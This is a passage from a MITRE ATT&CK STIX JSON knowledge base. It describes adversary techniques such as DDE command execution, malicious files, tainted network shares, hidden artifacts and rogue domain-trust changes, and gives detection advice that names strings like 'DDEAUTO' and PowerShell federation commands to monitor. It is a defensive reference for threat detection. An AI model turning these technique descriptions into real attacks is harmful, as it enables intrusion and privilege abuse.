Persistence Mechanism. Retrieved December 18, 2020.","url":"https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf"},{"source_name":"FireEye CFR Watering Hole 2012","description":"Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.","url":"https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"},{"source_name":"Klein Active Setup 2010","description":"Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020.","url":"https://helgeklein.com/blog/2010/04/active-setup-explained/"},{"source_name":"paloalto Tropic Trooper 2016","description":"Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020.","url":"https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"},{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"},{"source_name":"Citizenlab Packrat 2015","description":"Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020.","url":"https://citizenlab.ca/2015/12/packrat-report/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:58:49.815Z","name":"Hide Artifacts","description":"Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Office Suite"],"x_mitre_version":"1.3","x_mitre_data_sources":["File: File Metadata","Application Log: Application Log Content","Process: Process Creation","Command: Command Execution","File: File Modification","Firmware: Firmware Modification","Service: Service Creation","Windows Registry: Windows Registry Key Modification","Script: Script Execution","User Account: User Account Creation","Process: OS API Execution","User Account: User Account Metadata","File: File Creation"],"type":"attack-pattern","id":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","created":"2020-02-26T17:41:25.933Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1564","external_id":"T1564"},{"source_name":"Cybereason OSX Pirrit","description":"Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.","url":"https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"},{"source_name":"MalwareBytes ADS July 2015","description":"Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.","url":"https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"},{"source_name":"Sofacy Komplex Trojan","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"},{"source_name":"Sophos Ragnar May 2020","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-15T18:57:21.881Z","name":"Dynamic Data Exchange","description":"Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).\n\nOLE, Office Open XML, CSV, and other files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.3","x_mitre_data_sources":["Process: Process Creation","Module: Module Load","Script: Script Execution"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","created":"2020-02-12T14:10:50.699Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1559/002","external_id":"T1559.002"},{"source_name":"OWASP CSV Injection","description":" Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022.","url":"https://owasp.org/www-community/attacks/CSV_Injection"},{"source_name":"CSV Excel Macro Injection ","description":" Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022.","url":"https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/"},{"source_name":"BleepingComputer DDE Disabled in Word Dec 2017","description":"Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.","url":"https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"},{"source_name":"SensePost PS DDE May 2016","description":"El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.","url":"https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/"},{"source_name":"Fireeye Hunting COM June 2019","description":"Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"},{"source_name":"Kettle CSV DDE Aug 2014","description":"Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.","url":"https://www.contextis.com/blog/comma-separated-vulnerabilities"},{"source_name":"Microsoft ADV170021 Dec 2017","description":"Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.","url":"https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021"},{"source_name":"Microsoft DDE Advisory Nov 2017","description":"Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.","url":"https://technet.microsoft.com/library/security/4053440"},{"source_name":"Enigma Reviving DDE Jan 2018","description":"Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.","url":"https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"},{"source_name":"NVisio Labs DDE Detection Oct 2017","description":"NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.","url":"https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"},{"source_name":"SensePost MacroLess DDE Oct 2017","description":"Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.","url":"https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T20:50:34.876Z","name":"Malicious File","description":"An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and .reg.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_contributors":["TruKno"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.4","x_mitre_data_sources":["Process: Process Creation","File: File Creation"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","created":"2020-03-11T14:49:36.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1204/002","external_id":"T1204.002"},{"source_name":"Password Protected Word Docs","description":"Lawrence Abrams. (2017, July 12). PSA: Don't Open SPAM Containing Password Protected Word Docs. Retrieved January 5, 2022.","url":"https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f","type":"attack-pattern","created":"2020-10-02T16:34:32.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1591.003","url":"https://attack.mitre.org/techniques/T1591/003"},{"source_name":"ThreatPost Broadvoice Leak","url":"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/","description":"Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:38:31.983Z","name":"Identify Business Tempo","description":"Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7","type":"attack-pattern","created":"2017-05-31T21:30:51.330Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1063","external_id":"T1063"}],"modified":"2020-02-21T21:17:03.347Z","name":"Security Software Discovery","description":"Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User","Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-16T13:08:35.629Z","name":"Publish/Subscribe Protocols","description":"Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as MQTT, XMPP, AMQP, and STOMP use a publish/subscribe design, with message distribution managed by a centralized broker.(Citation: wailing crab sub/pub)(Citation: Mandiant APT1 Appendix) Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics.(Citation: wailing crab sub/pub) An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also mimicking normal, expected traffic.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_contributors":["Domenico Mazzaferro Palmeri","Sofia Sanchez Margolles"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS","Linux","Windows","Network"],"x_mitre_version":"1.0","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--241f9ea8-f6ae-4f38-92f5-cef5b7e539dd","created":"2024-08-28T14:14:18.512Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1071/005","external_id":"T1071.005"},{"source_name":"wailing crab sub/pub","description":"Hammond, Charlotte. Villadsen, Ole. Metrick, Kat.. (2023, November 21). Stealthy WailingCrab Malware misuses MQTT Messaging Protocol. Retrieved August 28, 2024.","url":"https://securityintelligence.com/x-force/wailingcrab-malware-misues-mqtt-messaging-protocol/"},{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26","type":"attack-pattern","created":"2020-10-02T16:40:47.488Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1592.001","url":"https://attack.mitre.org/techniques/T1592/001"},{"source_name":"ATT ScanBox","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"modified":"2021-10-17T16:32:10.810Z","name":"Hardware","description":"Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"modified":"2024-10-15T16:07:36.903Z","name":"Taint Shared Content","description":"\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_contributors":["Michal Dida, ESET","David Routin"],"x_mitre_deprecated":false,"x_mitre_detection":"Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","SaaS","Linux","macOS","Office Suite"],"x_mitre_version":"1.5","x_mitre_data_sources":["Network Share: Network Share Access","Process: Process Creation","File: File Modification","File: File Creation"],"x_mitre_system_requirements":["Access to shared folders and content with write permissions"],"type":"attack-pattern","id":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","created":"2017-05-31T21:31:01.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1080","external_id":"T1080"},{"source_name":"Retwin Directory Share Pivot","description":"Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.","url":"https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T13:50:11.593Z","name":"Trust Modification","description":"Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \n\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023) This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.(Citation: AWS RE:Inforce Threat Detection 2024)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Blake Strom, Microsoft 365 Defender","Praetorian","Obsidian Security"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nMonitor for PowerShell commands such as: Update-MSOLFederatedDomain –DomainName: \"Federated Domain Name\", or Update-MSOLFederatedDomain –DomainName: \"Federated Domain Name\" –supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Identity Provider"],"x_mitre_version":"2.1","x_mitre_data_sources":["Command: Command Execution","Application Log: Application Log Content","Active Directory: Active Directory Object Modification","Active Directory: Active Directory Object Creation"],"x_mitre_permissions_required":["Administrator"],"type":"attack-pattern","id":"attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee","created":"2020-12-28T21:59:02.181Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1484/002","external_id":"T1484.002"},{"source_name":"AWS RE:Inforce Threat Detection 2024","description":"Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.","url":"https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"},{"source_name":"CISA SolarWinds Cloud Detection","description":"CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-008a"},{"source_name":"AADInternals zure AD Federated Domain","description":"Dr. Nestori Syynimaa. (2017, November 16). Security vulnerability in Azure AD & Office 365 identity federation. Retrieved September 28, 2022.","url":"https://o365blog.com/post/federation-vulnerability/"},{"source_name":"Microsoft - Azure AD Federation","description":"Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020.","url":"https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed"},{"source_name":"Microsoft - Azure Sentinel ADFSDomainTrustMods","description":"Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.","url":"https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml"},{"source_name":"Microsoft - Update or Repair Federated domain","description":"Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.","url":"https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365"},{"source_name":"Okta Cross-Tenant Impersonation 2023","description":"Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.","url":"https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"},{"source_name":"Sygnia Golden SAML","description":"Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 